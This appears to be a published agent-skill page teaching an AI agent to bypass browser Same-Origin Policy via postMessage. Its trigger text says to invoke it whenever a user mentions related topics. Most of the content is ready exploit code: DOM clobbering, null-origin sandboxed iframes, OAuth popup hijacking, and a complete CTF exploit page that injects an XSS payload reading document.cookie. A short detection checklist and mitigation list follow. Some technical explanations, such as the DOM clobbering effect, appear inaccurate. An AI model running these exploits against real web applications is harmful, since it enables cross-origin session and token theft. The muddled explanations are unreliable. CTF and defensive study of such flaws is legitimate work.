# Postmessage Sop Bypass

> How to bypass Same-Origin Policy (SOP) using postMessage vulnerabilities, DOM clobbering, and null-origin iframe techniques. Use this skill whenever the user mentions postMessage, cross-origin communication, iframe attacks, SOP bypass, DOM clobbering, null-origin exploits, OAuth popup hijacking, or any scenario involving cross-window message handling. Trigger this skill for CTF challenges, security assessments, or when analyzing postMessage event handlers with weak source/origin validation.

- Skill: `abelrguezr/postmessage-sop-bypass` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/postmessage-sop-bypass`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/postmessage-sop-bypass/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/postmessage-sop-bypass

---


# PostMessage SOP Bypass Techniques

This skill covers advanced techniques for bypassing Same-Origin Policy restrictions using `postMessage` vulnerabilities, DOM clobbering, and null-origin iframe exploitation.

## When to Use This Skill

Use this skill when:
- Analyzing `postMessage` event handlers with weak validation
- CTF challenges involving cross-origin communication
- Security assessments of applications using `window.postMessage()`
- Encountering `event.source` or `event.origin` checks that can be bypassed
- OAuth popup flows with iframe-based openers
- Applications using `innerHTML` sinks with postMessage data

## Core Attack Primitives

### 1. DOM Clobbering to Nullify Window Properties

**Goal**: Make `window.calc.contentWindow` evaluate to `undefined` by clobbering `document.getElementById`.

**Technique**:
```html
<!-- Clobber document.getElementById -->
<img name="getElementById" />
<div id="calc"></div>
```

**Effect**: `document.getElementById("calc")` returns the `<img>` element instead of the `<div>`, and `window.calc` becomes `undefined`.

**Why it works**: The Sanitizer API is not configured to protect against DOM clobbering by default. Elements with `name` attributes can clobber global properties.

### 2. Null-Origin via Iframe Removal

**Goal**: Make `event.source` evaluate to `null` in the postMessage handler.

**Technique**:
```javascript
let iframe = document.createElement("iframe");
document.body.appendChild(iframe);

// Send message from iframe
iframe.contentWindow.eval(`
  window.parent.target.postMessage("payload", "*");
`);

// Immediately remove iframe - event.source becomes null
document.body.removeChild(iframe);
```

**Effect**: When the iframe is removed before the message handler executes, `event.source` is `null`.

**Why it works**: The `event.source` reference points to the iframe's window. If the iframe is removed, the reference becomes `null`. Combined with loose equality (`==`), `null == undefined` evaluates to `true`.

### 3. Null-Origin via Sandboxed Iframes

**Goal**: Create a stable null-origin environment for triggering errors in `document.cookie` access.

**Technique**:
```javascript
const iframe = document.createElement('iframe');
iframe.sandbox = 'allow-scripts allow-popups'; // Note: NO allow-same-origin
iframe.srcdoc = `<script>
  // This code runs in null origin
  const token = getCookie(); // Triggers error, returns undefined
</script>`;
document.body.appendChild(iframe);
```

**Effect**: Any access to `document.cookie` in a null-origin page throws an error, making dependent variables `undefined`.

**Why it works**: Sandboxed iframes without `allow-same-origin` have `origin === "null"`. Accessing `document.cookie` from null origin is blocked by the browser.

### 4. OAuth Popup Hijacking (2025 Pattern)

**Goal**: Bypass origin checks in OAuth callback handlers.

**Technique**:
```javascript
const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
  <script>
    const pop = open('https://oauth.example/callback');
    pop.postMessage({ cmd: 'getLoginCode' }, '*');
  </script>`;
document.body.appendChild(frame);
```

**Effect**: Both the iframe and the popup have `origin === "null"`, so handlers checking `if (origin !== window.origin)` fail silently.

**Why it works**: The popup inherits the null origin from its opener (the sandboxed iframe). Victim code comparing origins sees `"null" === "null"` and accepts the message.

### 5. X-Frame-Options Bypass via window.open

**Goal**: Interact with pages that set `X-Frame-Options: DENY`.

**Technique**:
```javascript
const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
  const victim = open('https://target-app/');
  setTimeout(() => {
    probe.contentWindow.postMessage(payload, '*');
    probe.remove();
  }, 500);
};
document.body.appendChild(probe);
```

**Effect**: Can post messages to pages that would normally block iframe embedding.

**Why it works**: `window.open()` creates a popup window, not an iframe. The iframe is only used as a message relay.

## Complete Attack Pattern

### Obligatory Calc CTF Solution

This demonstrates combining all primitives to bypass:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
  // Vulnerable sink
  document.getElementById('result').innerHTML = e.data.result;
}
```

**Full exploit**:
```html
<html>
  <body>
    <script>
      // Step 1: Clobber document.getElementById via URL parameter
      open(
        'https://target/?expr="<form name=getElementById id=calc>"'
      );

      function start() {
        var ifr = document.createElement("iframe");
        // Step 2: Create sandboxed iframe with null origin
        ifr.sandbox = "allow-scripts allow-popups";
        ifr.srcdoc = `<script>(${hack})()<\/script>`;
        document.body.appendChild(ifr);

        function hack() {
          var win = open("https://target/");
          setTimeout(() => {
            parent.postMessage("remove", "*");
            // Step 3: Send payload with token=null
            // e.source will be null (iframe removed)
            // window.token will be undefined (cookie access error)
            // null == undefined is true
            win.postMessage(
              {
                token: null,
                result: "<img src=x onerror='alert(document.cookie)'>",
              },
              "*"
            );
          }, 1000);
        }

        // Step 4: Remove iframe to nullify event.source
        onmessage = (e) => {
          if (e.data == "remove") document.body.innerHTML = "";
        };
      }
      setTimeout(start, 1000);
    </script>
  </body>
</html>
```

## Detection & Analysis Checklist

When analyzing postMessage handlers, check for:

1. **Loose equality checks**: `==` instead of `===` allows `null == undefined`
2. **Source validation**: Does the code check `event.source`? Can it be nullified?
3. **Origin validation**: Does the code check `event.origin`? Can it be made null?
4. **Cookie access in handlers**: Does `window.token` or similar depend on `document.cookie`?
5. **innerHTML sinks**: Is postMessage data written to the DOM without sanitization?
6. **Iframe lifecycle**: Are iframes removed after sending messages?
7. **Sandbox attributes**: Do iframes use `allow-scripts allow-popups` without `allow-same-origin`?

## Mitigation Recommendations

1. **Use strict equality**: `===` instead of `==` for all comparisons
2. **Validate origin explicitly**: Check against a whitelist of allowed origins
3. **Never trust event.source**: It can be nullified through iframe removal
4. **Sanitize all postMessage data**: Treat it as untrusted input
5. **Use CSP**: Content Security Policy can limit script execution
6. **Avoid DOM clobbering**: Don't use `name` attributes that conflict with globals
7. **Check for null origin**: `if (event.origin === 'null') return;`

## References

- [PostMessage Vulnerabilities: When Cross-Window Communication Goes Wrong](https://instatunnel.my/blog/postmessage-vulnerabilities-when-cross-window-communication-goes-wrong)
- [THM Write-up: Vulnerable Codes](https://fatsec.medium.com/thm-write-up-vulnerable-codes-9ea8fe8464f9)
- [CVE-2024-49038](https://nvd.nist.gov/vuln/detail/CVE-2024-49038) - Source-nullification bypass
- [Sanitizer API - DOM Clobbering](https://wicg.github.io/sanitizer-api/index.html#dom-clobbering)

